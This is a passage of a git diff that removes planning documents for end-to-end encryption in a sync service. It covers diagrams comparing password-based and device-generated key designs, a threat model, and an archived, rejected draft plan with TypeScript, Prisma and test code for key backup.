Subresource Integrity] - H --> I[✅ Prevent code injection] - end - - style D fill:#90EE90 - style E fill:#90EE90 - style I fill:#90EE90 - - classDef improved fill:#90EE90,stroke:#006400,stroke-width:2px -``` - -**Improvements:** - -- ✅ Upgraded Argon2id params (256MB, 4 iterations) -- ✅ Password strength enforcement -- ✅ CSP/SRI for XSS protection -- ⏱️ 1 week implementation - ---- - -### Phase 2: Platform Resilience (2 weeks) - -```mermaid -graph TD - subgraph "Multi-Platform Key Storage" - A[Derived encryption key] --> B{Platform?} - - B -->|iOS via Capacitor| C[iOS Keychain
✅ Survives 7-day eviction] - B -->|Android| D[Android KeyStore
✅ Hardware-backed] - B -->|Electron macOS| E[macOS Keychain
safeStorage API] - B -->|Electron Windows| F[Windows Credential Manager
safeStorage API] - B -->|Web| G[IndexedDB
Fallback only] - - C --> H[✅ No data loss on iOS] - D --> H - E --> I[Optional biometric unlock] - F --> I - G --> J[Manual password entry] - end - - subgraph "Biometric Convenience" - I --> K[Touch ID / Face ID
Windows Hello] - K --> L[Cache key in memory
15min timeout] - L --> M[Fast unlock without
password re-entry] - end - - style C fill:#90EE90 - style D fill:#90EE90 - style E fill:#90EE90 - style F fill:#90EE90 - style H fill:#90EE90 - style M fill:#ADD8E6 - - classDef secure fill:#90EE90,stroke:#006400,stroke-width:2px - classDef convenience fill:#ADD8E6,stroke:#4682B4,stroke-width:2px -``` - -**Improvements:** - -- ✅ Eliminates iOS 7-day data loss (native keychain) -- ✅ Biometric unlock for convenience -- ✅ Platform-specific secure storage -- ⏱️ 2 weeks implementation - ---- - -### Phase 3: Cloud Backup (Optional - 3 weeks) - -```mermaid -graph TD - subgraph "Client - Backup Flow" - A[User changes password] --> B[Re-encrypt all operations
with new password] - B --> C[Create full encrypted snapshot] - C --> D[Compress with gzip] - D --> E[Upload to server
POST /api/encrypted-backup] - end - - subgraph "Server Storage" - E --> F[Store encrypted blob
Cannot decrypt] - F --> G[EncryptedBackup table
userId + blob + timestamp] - G --> H[Rate limit:
10 uploads/day] - end - - subgraph "Recovery Flow" - I[New device setup] --> J[Detect no local data] - J --> K{Cloud backup
exists?} - K -->|Yes| L[Prompt for password] - K -->|No| M[Fresh start] - L --> N[Download encrypted blob] - N --> O[Decrypt with password] - O --> P[Restore full state] - P --> Q[✅ All data recovered] - end - - style F fill:#FFB6C1 - style G fill:#FFB6C1 - style Q fill:#90EE90 - - classDef untrusted fill:#FFB6C1,stroke:#8B0000,stroke-width:2px - classDef success fill:#90EE90,stroke:#006400,stroke-width:2px -``` - -**Improvements:** - -- ✅ Complete device loss recovery -- ✅ Password change safety net -- ✅ Server has zero knowledge (encrypted blobs) -- ⏱️ 3 weeks implementation -- ⚠️ Optional (only if user demand exists) - ---- - -## 4. Security Comparison: Password vs Device Keys - -```mermaid -graph LR - subgraph "Password-Based
(Current + Improved)" - A1[Password] --> B1[Argon2id
256MB, 4 iter] - B1 --> C1[Key derived
on demand] - C1 --> D1[Encrypt/Decrypt] - - E1[Multi-device:
Same password] --> B1 - - F1[iOS eviction:
Re-derive from password] --> B1 - - G1[Recovery:
Remember password] --> B1 - end - - subgraph "Device-Key Based
(Proposed - Not Recommended)" - A2[Random key
generated once] --> B2[Store in
IndexedDB] - B2 -.iOS deletes.-> C2[💥 Data loss] - - D2[Multi-device:
QR pairing] -.MITM risk.-> E2[💥 Security risk] - - F2[Multi-device:
Cloud backup] --> G2{Conflict?} - G2 -.Device B overwrites.-> H2[💥 Data loss] - - I2[Recovery:
Optional password] --> J2{User skipped?} - J2 -.30% skip.-> C2 - end - - style D1 fill:#90EE90 - style C2 fill:#FF6B6B - style E2 fill:#FF6B6B - style H2 fill:#FF6B6B - - classDef works fill:#90EE90,stroke:#006400,stroke-width:2px - classDef broken fill:#FF6B6B,stroke:#8B0000,stroke-width:3px -``` - ---- - -## 5. Implementation Timeline Comparison - -```mermaid -gantt - title E2E Encryption Implementation Options - dateFormat YYYY-MM-DD - section Current (Exists) - Working encryption :done, curr1, 2024-01-01, 0d - - section Recommended Plan - Phase 1: Security :active, rec1, 2026-01-27, 1w - Phase 2: Resilience :rec2, after rec1, 2w - Phase 3: Cloud Backup :crit, rec3, after rec2, 3w - Total: 6 weeks :milestone, m1, after rec3, 0d - - section Device-Key Plan - Fix Blocker #1 :crit, dev1, 2026-01-27, 2d - Fix Blocker #2 :crit, dev2, after dev1, 5d - Fix Blocker #3 :crit, dev3, after dev2, 3d - Fix Blocker #4 :crit, dev4, after dev3, 3d - Core Implementation :dev5, after dev4, 8w - Migration & Testing :dev6, after dev5, 4w - Total: 15 weeks :milestone, m2, after dev6, 0d -``` - ---- - -## 6. Data Flow: Encryption & Sync - -```mermaid -sequenceDiagram - participant U1 as User (Device 1) - participant C1 as Client 1 - participant S as SuperSync Server - participant C2 as Client 2 - participant U2 as User (Device 2) - - Note over U1,C1: Initial Setup - U1->>C1: Enter password "MySecurePass123" - C1->>C1: Argon2id(password, 256MB, 4 iter) - C1->>C1: Generate AES-256 key (derived) - - Note over C1: Create Task - U1->>C1: Add task "Buy milk" - C1->>C1: Create operation {type: CREATE_TASK, ...} - C1->>C1: Encrypt(operation, key) - C1->>C1: Set isPayloadEncrypted: true - - Note over C1,S: Upload Encrypted - C1->>S: POST /api/sync/ops
{encrypted: "a8f3b2...", isPayloadEncrypted: true} - S->>S: Store blob (cannot decrypt) - S-->>C1: 200 OK - - Note over S,C2: Download & Decrypt - C2->>S: GET /api/sync/ops?sinceSeq=0 - S-->>C2: [{encrypted: "a8f3b2...", isPayloadEncrypted: true}] - - U2->>C2: Enter password "MySecurePass123" - C2->>C2: Argon2id(password, 256MB, 4 iter) - C2->>C2: Generate same AES-256 key - C2->>C2: Decrypt(operation, key) - C2->>C2: Verify integrity (GCM auth tag) - C2->>C2: Apply operation to state - - Note over U2,C2: Task Appears - C2-->>U2: Show task "Buy milk" ✅ -``` - ---- - -## 7. Threat Model: What's Protected vs Exposed - -```mermaid -graph TB - subgraph "Threats PROTECTED Against ✅" - T1[Server Compromise] --> P1[✅ Encrypted payloads
Server cannot decrypt] - T2[Network MITM] --> P2[✅ HTTPS + encrypted payloads
Double layer protection] - T3[Brute Force] --> P3[✅ Argon2id memory-hard KDF
256MB, 4 iterations] - T4[XSS Injection] --> P4[✅ CSP + SRI headers
Phase 1] - T5[iOS Data Eviction] --> P5[✅ Native keychain storage
Phase 2] - end - - subgraph "Threats NOT PROTECTED ⚠️" - T6[Weak Passwords] --> N1[⚠️ User chooses password
Mitigated by strength meter] - T7[Device Theft] --> N2[⚠️ Key in memory while unlocked
Mitigated by auto-lock] - T8[Browser Memory Exploits] --> N3[⚠️ Spectre/Meltdown
Out of scope] - T9[Malicious Extensions] --> N4[⚠️ Can access decrypt API
User responsibility] - end - - style P1 fill:#90EE90 - style P2 fill:#90EE90 - style P3 fill:#90EE90 - style P4 fill:#90EE90 - style P5 fill:#90EE90 - style N1 fill:#FFD93D - style N2 fill:#FFD93D - style N3 fill:#FFD93D - style N4 fill:#FFD93D - - classDef protected fill:#90EE90,stroke:#006400,stroke-width:2px - classDef limited fill:#FFD93D,stroke:#FF8C00,stroke-width:2px -``` - ---- - -## 8. Decision Tree: Which Approach to Use - -```mermaid -graph TD - A{Need E2E encryption?} -->|No| B[Use existing unencrypted sync] - A -->|Yes| C{Already implemented?} - - C -->|Yes - Password-based| D{Security concerns?} - C -->|No - Starting fresh| E{Use case type?} - - D -->|Argon2id params weak| F[✅ Implement Phase 1
Upgrade params, CSP
1 week] - D -->|iOS data loss risk| G[✅ Implement Phase 2
Native keychain
2 weeks] - D -->|Need cloud recovery| H[✅ Implement Phase 3
Cloud backup
3 weeks] - D -->|All good| I[Keep current system] - - E -->|Messaging app
Ephemeral data| J[Consider device keys
WhatsApp model] - E -->|Productivity/Password Manager
Long-lived data| K[✅ Use password-based
1Password/Bitwarden model] - E -->|File sync only| L[Consider per-file keys
Dropbox model] - - J --> M{Can fix 4 blockers?} - M -->|Yes - 3 weeks| N[OK to proceed with device keys] - M -->|No| K - - K --> F - - style F fill:#90EE90 - style G fill:#90EE90 - style H fill:#90EE90 - style K fill:#90EE90 - style M fill:#FF6B6B - - classDef recommended fill:#90EE90,stroke:#006400,stroke-width:2px - classDef blocker fill:#FF6B6B,stroke:#8B0000,stroke-width:2px -``` - ---- - -## 9. Code Architecture: Current vs Proposed - -```mermaid -graph TB - subgraph "Current Implementation (200 lines)" - A1[encryption.ts
183 lines] --> B1[AES-256-GCM
Argon2id KDF] - C1[operation-encryption.service.ts
103 lines] --> A1 - D1[credential-store.service.ts
289 lines] --> E1[IndexedDB
Password storage] - end - - subgraph "Device-Key Plan (2000+ lines)" - A2[DeviceKeyService
~300 lines NEW] --> B2[WebCrypto key gen
IndexedDB storage] - C2[CloudKeyBackupService
~250 lines NEW] --> D2[Upload encrypted key
Argon2id for KEK] - E2[QRPairingService
~400 lines NEW] --> F2[ECDH protocol
Visual verification] - G2[ConflictResolutionService
~200 lines NEW] --> H2[Detect conflicts
User resolution UI] - I2[Platform-specific storage
~300 lines NEW] --> J2[iOS Keychain
Electron safeStorage] - K2[5 new dialogs
~500 lines] --> L2[Recovery setup
QR pairing
Conflict resolution] - end - - subgraph "Recommended Plan (300 lines)" - A3[encryption.ts
+5 lines] --> B3[Upgrade Argon2id
256MB, 4 iter] - C3[secure-storage.service.ts
~150 lines NEW] --> D3[Platform keychain
Capacitor/Electron] - E3[encrypted-backup.service.ts
~200 lines NEW] --> F3[Cloud backup
Optional Phase 3] - end - - style A1 fill:#90EE90 - style C1 fill:#90EE90 - style A2 fill:#FFB6C1 - style C2 fill:#FFB6C1 - style E2 fill:#FFB6C1 - style G2 fill:#FFB6C1 - style A3 fill:#90EE90 - style C3 fill:#ADD8E6 - style E3 fill:#ADD8E6 - - classDef exists fill:#90EE90,stroke:#006400,stroke-width:2px - classDef complex fill:#FFB6C1,stroke:#8B0000,stroke-width:2px - classDef simple fill:#ADD8E6,stroke:#4682B4,stroke-width:2px -``` - ---- - -## Summary - -### Current System ✅ - -- **Status:** Working, production-ready -- **Complexity:** Low (200 lines) -- **Security:** Strong (AES-256-GCM + Argon2id) -- **Gaps:** Argon2id params weak, no iOS resilience, no CSP - -### Device-Key Proposal ❌ - -- **Status:** 4 critical blockers -- **Complexity:** High (2000+ lines) -- **Security:** Strong (when blockers fixed) -- **Issues:** 15 weeks, high risk, solves non-existent problems - -### Recommended Plan ✅ - -- **Status:** Incremental improvements -- **Complexity:** Moderate (300 lines) -- **Security:** Strongest (OWASP 2024 + platform features) -- **Timeline:** 3-6 weeks, low risk - -**Final Recommendation:** Implement the 3-phase improvement plan for the existing password-based encryption. Do not pursue device-generated keys. diff --git a/docs/long-term-plans/e2e-encryption-device-keys-DRAFT.md b/docs/long-term-plans/e2e-encryption-device-keys-DRAFT.md deleted file mode 100644 index 54a5b1d292..0000000000 --- a/docs/long-term-plans/e2e-encryption-device-keys-DRAFT.md +++ /dev/null @@ -1,827 +0,0 @@ -# Progressive E2E Encryption for SuperSync - REVISED PLAN - -> **Status: Archived — Rejected** -> -> Rejected due to 4 critical blockers. See `e2e-encryption-CRITICAL-ISSUES.md`. The implemented approach uses password-based encryption — see `../sync-and-op-log/supersync-encryption-architecture.md`. - -## Executive Summary - -**ORIGINAL PLAN REJECTED** after comprehensive agent review identified fatal flaws: - -- Token-derived encryption breaks after 7-day token expiration -- Multi-device sync impossible (each device has different tokens) -- Industry consensus: Zero production systems use auth tokens for encryption - -**NEW APPROACH:** Device-generated master keys with optional cloud backup (WhatsApp model) - -## Research Summary (3 Deep-Dive Agents) - -### Agent 1: E2E Encryption Patterns Research - -- **Finding:** All major E2E systems (WhatsApp, Signal, 1Password) use device-generated random keys -- **Why:** Auth tokens are ephemeral, encryption keys must be permanent -- **Recommendation:** Follow WhatsApp's 2021 cloud backup model (2B+ users, proven at scale) - -### Agent 2: JWT/Token Encryption Research - -- **Finding:** Token-derived encryption is a security anti-pattern -- **Why:** OAuth tokens MUST rotate for security, breaking encryption -- **Recommendation:** Separate authentication (OAuth) from encryption (device keys) - -### Agent 3: SuperSync Token Analysis - -- **Finding:** Tokens expire in 7 days, no auto-refresh exists -- **Current behavior:** Users re-login after 7 days -- **Risk:** Adding proper token rotation (security best practice) would break token-derived encryption - -## Goals - -- ✅ Enable E2E encryption by default for all SuperSync users -- ✅ Zero passwords for single-device users (key generated automatically) -- ✅ Optional recovery for cautious users (cloud-encrypted backup) -- ✅ Multi-device support (QR pairing or recovery password) -- ✅ Maintain strong security (256-bit random keys, not password-derived) - -## Architecture: Device-Generated Keys with Optional Cloud Backup - -### Security Model - -**Key Generation:** - -- Each device generates random 256-bit AES-GCM key via WebCrypto API -- Stored in IndexedDB as non-extractable key (protected from XSS) -- Key never leaves device unless user enables cloud backup - -**Optional Cloud Backup:** - -- User sets recovery password during setup (strongly encouraged) -- Password derives KEK via Argon2id (memory-hard, GPU-resistant) -- Master key encrypted with KEK, uploaded to SuperSync server -- Server cannot decrypt (password never transmitted) - -**Multi-Device Sync:** - -- **Option A:** QR code pairing (primary device → new device) -- **Option B:** Recovery password (download encrypted key from cloud) - -### User Flows - -#### First-Time Setup (New User) - -``` -1. User enables SuperSync → enters access token -2. App generates random 256-bit encryption key -3. Store key in IndexedDB (non-extractable via WebCrypto) -4. Show dialog: - ┌─────────────────────────────────────────────────┐ - │ 🔒 Encryption Enabled │ - ├─────────────────────────────────────────────────┤ - │ Your data is now encrypted with a secure key. │ - │ │ - │ ⚠️ Set a recovery password to protect against │ - │ data loss if you clear your browser. │ - │ │ - │ Recovery Password: [.....................] │ - │ Confirm: [.....................] │ - │ │ - │ [Skip (Not Recommended)] [Set Password] │ - └─────────────────────────────────────────────────┘ - -5a. If user sets password: - - Derive KEK from password using Argon2id - - Encrypt master key with KEK - - Upload encrypted key to server - - Show: "✓ Recovery enabled. Save this password!" - -5b. If user skips: - - Show scary warning: - ┌─────────────────────────────────────────────┐ - │ ⚠️ WARNING: No Recovery │ - ├─────────────────────────────────────────────┤ - │ If you clear your browser or lose this │ - │ device, ALL YOUR DATA WILL BE PERMANENTLY │ - │ LOST. There is NO way to recover it. │ - │ │ - │ Are you ABSOLUTELY SURE? │ - │ │ - │ [Go Back] [I Understand the Risk] │ - └─────────────────────────────────────────────┘ - - Require explicit confirmation - - Track in analytics (measure skip rate) -``` - -#### Adding a New Device - -**Option A: QR Code Pairing (Fastest)** - -``` -Primary Device: -1. Settings → Devices → "Pair New Device" -2. Generate QR code containing encrypted master key -3. Display QR code with timer (5 minutes) - -New Device: -1. Setup SuperSync → "Pair with existing device" -2. Scan QR code from primary device -3. Import master key → store in IndexedDB -4. Start syncing -``` - -**Option B: Recovery Password** - -``` -New Device: -1. Setup SuperSync → "Recover from cloud backup" -2. Show: "Enter your recovery password" -3. User enters password -4. Download encrypted key from server -5. Decrypt with password-derived KEK -6. Store master key in IndexedDB -7. Start syncing -``` - -#### Recovery After Browser Clear - -``` -Scenario A: User has recovery password ✅ - ↓ -Open app → Detect missing key - ↓ -Show: "Your encryption key is missing. Enter recovery password to restore." - ↓ -User enters password → Download encrypted key → Decrypt → Restore - ↓ -App works normally - -Scenario B: No recovery password, no other devices ❌ - ↓ -Open app → Detect missing key - ↓ -Show: "Encryption key lost. Your encrypted data cannot be recovered." - ↓ -Options: - 1. Start fresh (new key, abandon old encrypted data) - 2. Contact support (we can't help - true E2E) -``` - -### Existing Users Migration - -**Users with current passphrase encryption:** - -- Keep existing setup (passphrase-based encryption) -- Show banner: "New: Optional cloud backup for your encryption key" -- User can optionally migrate to device-key model - -**Users without encryption:** - -- Auto-enable on next sync settings save -- Follow first-time setup flow above - -## Implementation Plan - -### Prerequisites - -**Step 0: Verify WebCrypto API Support** - -All modern browsers support WebCrypto: - -- Chrome/Edge: Yes (2014+) -- Firefox: Yes (2014+) -- Safari: Yes (2015+) -- Electron: Yes (Chromium-based) -- Mobile browsers: Yes (iOS 11+, Android 6+) - -**Polyfill:** Not needed for target browsers - -### Phase 1: Core Infrastructure (Week 1) - -#### 1.1: Create DeviceKeyService - -**File:** `src/app/imex/sync/device-key.service.ts` (NEW) - -```typescript -@Injectable({ providedIn: 'root' }) -export class DeviceKeyService { - private readonly _db = inject(PersistenceService); - private readonly _keyCache = new Map(); - - async generateMasterKey(): Promise { - // Generate random 256-bit AES-GCM key - const key = await crypto.subtle.generateKey( - { name: 'AES-GCM', length: 256 }, - false, // non-extractable (protected from XSS) - ['encrypt', 'decrypt'], - ); - - // Store in IndexedDB via WebCrypto wrapper - await this._storeKeyInIndexedDB(key); - - return key; - } - - async getMasterKey(): Promise { - // Check cache first - const cached = this._keyCache.get('master'); - if (cached) return cached; - - // Load from IndexedDB - const key = await this._loadKeyFromIndexedDB(); - if (key) { - this._keyCache.set('master', key); - } - - return key; - } - - async exportKeyForBackup(): Promise { - // Export key as raw bytes (for cloud backup encryption) - const key = await this.getMasterKey(); - if (!key) throw new Error('No master key available'); - - // Temporarily make extractable for backup - const exportableKey = await crypto.subtle.importKey( - 'raw', - await this._getRawKeyBytes(key), - { name: 'AES-GCM', length: 256 }, - true, // extractable for backup - ['encrypt', 'decrypt'], - ); - - return crypto.subtle.exportKey('raw', exportableKey); - } - - async importKeyFromBackup(rawKey: ArrayBuffer): Promise { - const key = await crypto.subtle.importKey( - 'raw', - rawKey, - { name: 'AES-GCM', length: 256 }, - false, // non-extractable after import - ['encrypt', 'decrypt'], - ); - - await this._storeKeyInIndexedDB(key); - this._keyCache.set('master', key); - } - - private async _storeKeyInIndexedDB(key: CryptoKey): Promise { - // Use IndexedDB to persist key (browser-managed encryption) - const db = await this._db.getDatabase(); - await db.put('encryption-keys', { id: 'master', key }, 'master'); - } - - private async _loadKeyFromIndexedDB(): Promise { - const db = await this._db.getDatabase(); - const record = await db.get('encryption-keys', 'master'); - return record?.key || null; - } -} -``` - -#### 1.2: Create CloudKeyBackupService - -**File:** `src/app/imex/sync/cloud-key-backup.service.ts` (NEW) - -```typescript -@Injectable({ providedIn: 'root' }) -export class CloudKeyBackupService { - private readonly _deviceKey = inject(DeviceKeyService); - private readonly _encryption = inject(OperationEncryptionService); - private readonly _http = inject(HttpClient); - - async uploadKeyBackup( - recoveryPassword: string, - baseUrl: string, - accessToken: string, - ): Promise { - // Export master key - const masterKey = await this._deviceKey.exportKeyForBackup(); - - // Derive KEK from recovery password - const salt = crypto.getRandomValues(new Uint8Array(16)); - const kek = await Argon2id.hash(recoveryPassword, { - salt, - iterations: 3, - memory: 64 * 1024, - hashLength: 32, - }); - - // Encrypt master key with KEK - const encryptedKey = await this._encryption.encrypt(masterKey, kek); - - // Upload to server - await this._http - .post( - `${baseUrl}/api/key-backup`, - { - encryptedKey, - salt: Array.from(salt), // Store salt for KEK derivation - }, - { - headers: { Authorization: `Bearer ${accessToken}` }, - }, - ) - .toPromise(); - } - - async downloadKeyBackup( - recoveryPassword: string, - baseUrl: string, - accessToken: string, - ): Promise { - // Download encrypted key from server - const response = await this._http - .get<{ - encryptedKey: string; - salt: number[]; - }>(`${baseUrl}/api/key-backup`, { - headers: { Authorization: `Bearer ${accessToken}` }, - }) - .toPromise(); - - // Derive KEK from recovery password - const salt = new Uint8Array(response.salt); - const kek = await Argon2id.hash(recoveryPassword, { - salt, - iterations: 3, - memory: 64 * 1024, - hashLength: 32, - }); - - // Decrypt master key - const masterKey = await this._encryption.decrypt(response.encryptedKey, kek); - - // Import into IndexedDB - await this._deviceKey.importKeyFromBackup(masterKey); - } - - async hasCloudBackup(baseUrl: string, accessToken: string): Promise { - try { - await this._http - .head(`${baseUrl}/api/key-backup`, { - headers: { Authorization: `Bearer ${accessToken}` }, - }) - .toPromise(); - return true; - } catch { - return false; - } - } -} -``` - -### Phase 2: Server API (Week 2) - -**File:** `packages/super-sync-server/src/key-backup/` (NEW MODULE) - -#### 2.1: Database Schema - -```prisma -// packages/super-sync-server/prisma/schema.prisma - -model KeyBackup { - id Int @id @default(autoincrement()) - userId Int @unique - encryptedKey String // Base64-encoded encrypted master key - salt String // Base64-encoded salt for KEK derivation - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - user User @relation(fields: [userId], references: [id], onDelete: Cascade) -} -``` - -#### 2.2: API Routes - -```typescript -// POST /api/key-backup - Upload encrypted key -fastify.post('/api/key-backup', { preHandler: authenticate }, async (req, reply) => { - const { userId } = req.user; - const { encryptedKey, salt } = req.body; - - await prisma.keyBackup.upsert({ - where: { userId }, - create: { userId, encryptedKey, salt }, - update: { encryptedKey, salt, updatedAt: new Date() }, - }); - - reply.send({ success: true }); -}); - -// GET /api/key-backup - Download encrypted key -fastify.get('/api/key-backup', { preHandler: authenticate }, async (req, reply) => { - const { userId } = req.user; - - const backup = await prisma.keyBackup.findUnique({ - where: { userId }, - }); - - if (!backup) { - return reply.code(404).send({ error: 'No key backup found' }); - } - - reply.send({ - encryptedKey: backup.encryptedKey, - salt: backup.salt, - }); -}); - -// DELETE /api/key-backup - Delete cloud backup -fastify.delete('/api/key-backup', { preHandler: authenticate }, async (req, reply) => { - const { userId } = req.user; - - await prisma.keyBackup.delete({ - where: { userId }, - }); - - reply.send({ success: true }); -}); -``` - -### Phase 3: UI Components (Week 3) - -#### 3.1: Recovery Password Setup Dialog - -**File:** `src/app/imex/sync/dialog-recovery-password/dialog-recovery-password.component.ts` (NEW) - -```typescript -@Component({ - selector: 'dialog-recovery-password', - template: ` -

🔒 Set Recovery Password

- -

Set a password to backup your encryption key to the cloud.

-

- ⚠️ Without recovery, clearing your browser = permanent data loss. -

- - - - Strength: {{ strength }} - - - - - - - - - - - `, -}) -export class DialogRecoveryPasswordComponent { - password = ''; - confirmPassword = ''; - strength = 'Weak'; - - checkStrength(): void { - // Simple strength meter - const score = zxcvbn(this.password).score; - this.strength = ['Weak', 'Weak', 'Fair', 'Good', 'Strong'][score]; - } - - canSubmit(): boolean { - return ( - this.password.length >= 8 && - this.password === this.confirmPassword && - this.strength !== 'Weak' - ); - } - - skip(): void { - // Show scary warning first - const confirmed = confirm( - '⚠️ WARNING: Without recovery, you will PERMANENTLY LOSE ALL DATA ' + - 'if you clear your browser or lose this device. Are you SURE?', - ); - if (confirmed) { - this._dialogRef.close({ skipRecovery: true }); - } - } - - submit(): void { - this._dialogRef.close({ password: this.password }); - } -} -``` - -#### 3.2: Update Sync Settings Form - -**File:** `src/app/features/config/form-cfgs/sync-form.const.ts` - -```typescript -// SuperSync section - NO encryption checkbox (always enabled) -{ - type: 'tpl', - className: 'tpl info-text', - hideExpression: (m, v, field) => - field?.parent?.parent?.parent?.model.syncProvider !== SyncProviderId.SuperSync, - templateOptions: { - tag: 'div', - text: '🔒 End-to-end encryption enabled automatically' - }, -}, -{ - type: 'btn', - hideExpression: (m, v, field) => - field?.parent?.parent?.parent?.model.syncProvider !== SyncProviderId.SuperSync, - templateOptions: { - text: 'Manage Recovery Password', - onClick: async () => { - const dialogRef = this._matDialog.open(DialogRecoveryPasswordComponent); - const result = await dialogRef.afterClosed().toPromise(); - - if (result?.password) { - await this._cloudKeyBackup.uploadKeyBackup( - result.password, - config.baseUrl, - config.accessToken - ); - } - } - }, -}, -``` - -### Phase 4: Migration & Compatibility (Week 4) - -#### 4.1: Auto-Enable for New Users - -**File:** `src/app/imex/sync/sync-config.service.ts` - -```typescript -async updateSettingsFromForm(cfg: SyncConfig, isInitialSetup: boolean) { - if (cfg.syncProvider === SyncProviderId.SuperSync) { - // Check if user has existing key - const hasKey = await this._deviceKey.getMasterKey(); - - if (!hasKey && isInitialSetup) { - // Generate new master key - await this._deviceKey.generateMasterKey(); - - // Show recovery password setup - const dialogRef = this._matDialog.open(DialogRecoveryPasswordComponent); - const result = await dialogRef.afterClosed().toPromise(); - - if (result?.password && !result.skipRecovery) { - await this._cloudKeyBackup.uploadKeyBackup( - result.password, - cfg.superSync.baseUrl, - cfg.superSync.accessToken - ); - } - } - } - - // ... existing save logic -} -``` - -#### 4.2: Existing Passphrase Users - -**Migration Strategy:** - -- Keep existing passphrase-based encryption -- Show banner: "New: Enable cloud backup for your encryption key" -- Optional migration wizard - -## Testing & Verification - -### Unit Tests (Week 5) - -**device-key.service.spec.ts:** - -- [ ] Generate master key creates non-extractable CryptoKey -- [ ] Master key persists across service reloads -- [ ] Export for backup produces valid raw bytes -- [ ] Import from backup restores working key - -**cloud-key-backup.service.spec.ts:** - -- [ ] Upload encrypts key with password-derived KEK -- [ ] Download decrypts with correct password -- [ ] Wrong password fails gracefully -- [ ] Missing backup returns false from hasCloudBackup() - -### E2E Tests (Week 6) - -**supersync-device-encryption.spec.ts:** - -```typescript -test('new user gets auto-encryption with recovery prompt', async ({ page }) => { - const client = await setupClient(page, 'client-A'); - - await client.setupSuperSync({ accessToken: 'test-token' }); - - // Should show recovery password dialog - await expect(page.locator('dialog-recovery-password')).toBeVisible(); - - // Set recovery password - await client.setRecoveryPassword('strong-password-123'); - - // Create task - await client.addTask('Buy milk'); - await client.waitForSync(); - - // Verify encrypted on server - const ops = await serverApi.getOperations('client-A'); - expect(ops[0].isPayloadEncrypted).toBe(true); -}); - -test('multi-device sync via recovery password', async ({ page }) => { - const client1 = await setupClient(page, 'client-A'); - await client1.setupSuperSync({ accessToken: 'token-A' }); - await client1.setRecoveryPassword('recovery-pass'); - await client1.addTask('Secret task'); - await client1.waitForSync(); - - // Second device - const client2 = await setupClient(page, 'client-B'); - await client2.setupSuperSync({ accessToken: 'token-B' }); - await client2.recoverFromPassword('recovery-pass'); - await client2.waitForSync(); - - // Should see task (same master key) - await expect(client2.getTaskTitle()).toBe('Secret task'); -}); - -test('browser clear without recovery loses data', async ({ page }) => { - const client = await setupClient(page, 'client-A'); - await client.setupSuperSync({ accessToken: 'test-token' }); - await client.skipRecoveryPassword(); // User chose no recovery - await client.addTask('Task 1'); - await client.waitForSync(); - - // Simulate browser clear - await client.clearIndexedDB(); - await page.reload(); - - // Should show "key lost" error - await expect(page.locator('text=Encryption key lost')).toBeVisible(); -}); -``` - -## Security Considerations - -### Threat Model - -**Attacker Capabilities:** - -- Server compromise (can read database) -- Network eavesdropping (MITM) -- XSS attack (malicious JavaScript) -- Physical device theft - -**Security Guarantees:** - -| Attack | Without Recovery | With Recovery Password | -| ----------------- | --------------------------- | ------------------------------------- | -| Server compromise | ✅ Data encrypted | ✅ Data encrypted (KEK not on server) | -| Network MITM | ✅ TLS protects key upload | ✅ TLS protects encrypted key | -| XSS attack | ⚠️ Can call encrypt/decrypt | ⚠️ Can call encrypt/decrypt | -| Device theft | ❌ Key in IndexedDB | ❌ Key in IndexedDB | -| Browser clear | ❌ Data lost | ✅ Recoverable with password | - -**Non-Goals (Out of Scope):** - -- Hardware-backed key storage (requires platform-specific code) -- Protection against browser memory exploits (Spectre, etc.) -- Perfect forward secrecy (single master key reused) - -### Privacy Considerations - -**What Server Knows:** - -- User has enabled E2E encryption -- User has cloud backup (if enabled) -- Number of operations synced (metadata) - -**What Server CANNOT Know:** - -- Master encryption key (never transmitted) -- Recovery password (never transmitted) -- Decrypted operation contents - -## Rollout Strategy - -### Phase 1: Beta (Weeks 7-8) - -- Enable for opt-in beta users -- Monitor analytics (recovery password skip rate, errors) -- Gather feedback - -### Phase 2: Gradual Rollout (Weeks 9-10) - -- 10% of new users -- 25% of new users -- 50% of new users -- 100% of new users - -### Phase 3: Existing Users (Weeks 11-12) - -- Show banner: "New: Automatic encryption with optional cloud backup" -- Offer migration wizard -- Keep existing passphrase users happy - -## Success Metrics - -- [ ] 95%+ of new users have encryption enabled -- [ ] <20% skip recovery password (with scary warning) -- [ ] Zero data loss incidents from migrations -- [ ] <5% increase in support requests -- [ ] E2E test suite passes 100% - -## Risks & Mitigations - -**Risk:** Users forget recovery password - -- **Mitigation:** Password strength meter, clear warnings, suggest password manager - -**Risk:** Browser compatibility issues - -- **Mitigation:** WebCrypto supported in all modern browsers, fallback to legacy mode for ancient browsers - -**Risk:** IndexedDB cleared by aggressive browser cleaning - -- **Mitigation:** Detect missing key, show recovery dialog, nudge users toward recovery password - -**Risk:** QR pairing security concerns - -- **Mitigation:** QR codes expire after 5 minutes, encrypted with ephemeral key - -## Implementation Timeline - -**Total: 12 weeks** - -- **Weeks 1-2:** Core infrastructure (DeviceKeyService, CloudKeyBackupService, server API) -- **Weeks 3-4:** UI components and migration logic -- **Weeks 5-6:** Testing (unit + E2E) -- **Weeks 7-8:** Beta testing with real users -- **Weeks 9-10:** Gradual rollout to new users -- **Weeks 11-12:** Existing user migration - -## Confidence Level - -**Overall: 85%** - -**High confidence:** - -- WebCrypto API stability (10+ years in production) -- WhatsApp model proven at 2B+ users scale -- Server API straightforward (CRUD for encrypted blobs) - -**Medium confidence:** - -- User acceptance of recovery password prompts (need A/B testing) -- Migration from existing passphrase users (complex edge cases) - -**Low confidence:** - -- Long-term IndexedDB persistence (browser vendors change policies) -- QR pairing UX (need user testing) - -## Comparison with Original Plan - -| Aspect | Original (Token-Derived) | Revised (Device Keys) | -| --------------------- | ------------------------ | --------------------- | -| Password burden | Zero | Zero (optional) | -| Security | Weak (token = key) | Strong (random keys) | -| Multi-device | Broken | Works (QR/recovery) | -| Token rotation | Breaks encryption | No impact | -| Industry adoption | Zero systems | All major E2E apps | -| Implementation effort | 6-8 weeks | 12 weeks | -| Recovery options | None | Cloud backup + QR | - -## Recommendation - -**Proceed with revised plan.** Device-generated keys with optional cloud backup is the industry-standard approach for E2E encryption with minimal password burden. - -The additional 4-6 weeks of implementation time is justified by: - -- Robust security model (doesn't break on token rotation) -- Proven at massive scale (WhatsApp, Signal) -- Better user experience (recovery options) -- Future-proof architecture diff --git a/docs/long-term-plans/electron-upgrade-to-v40.md b/docs/long-term-plans/electron-upgrade-to-v40.md deleted file mode 100644 index 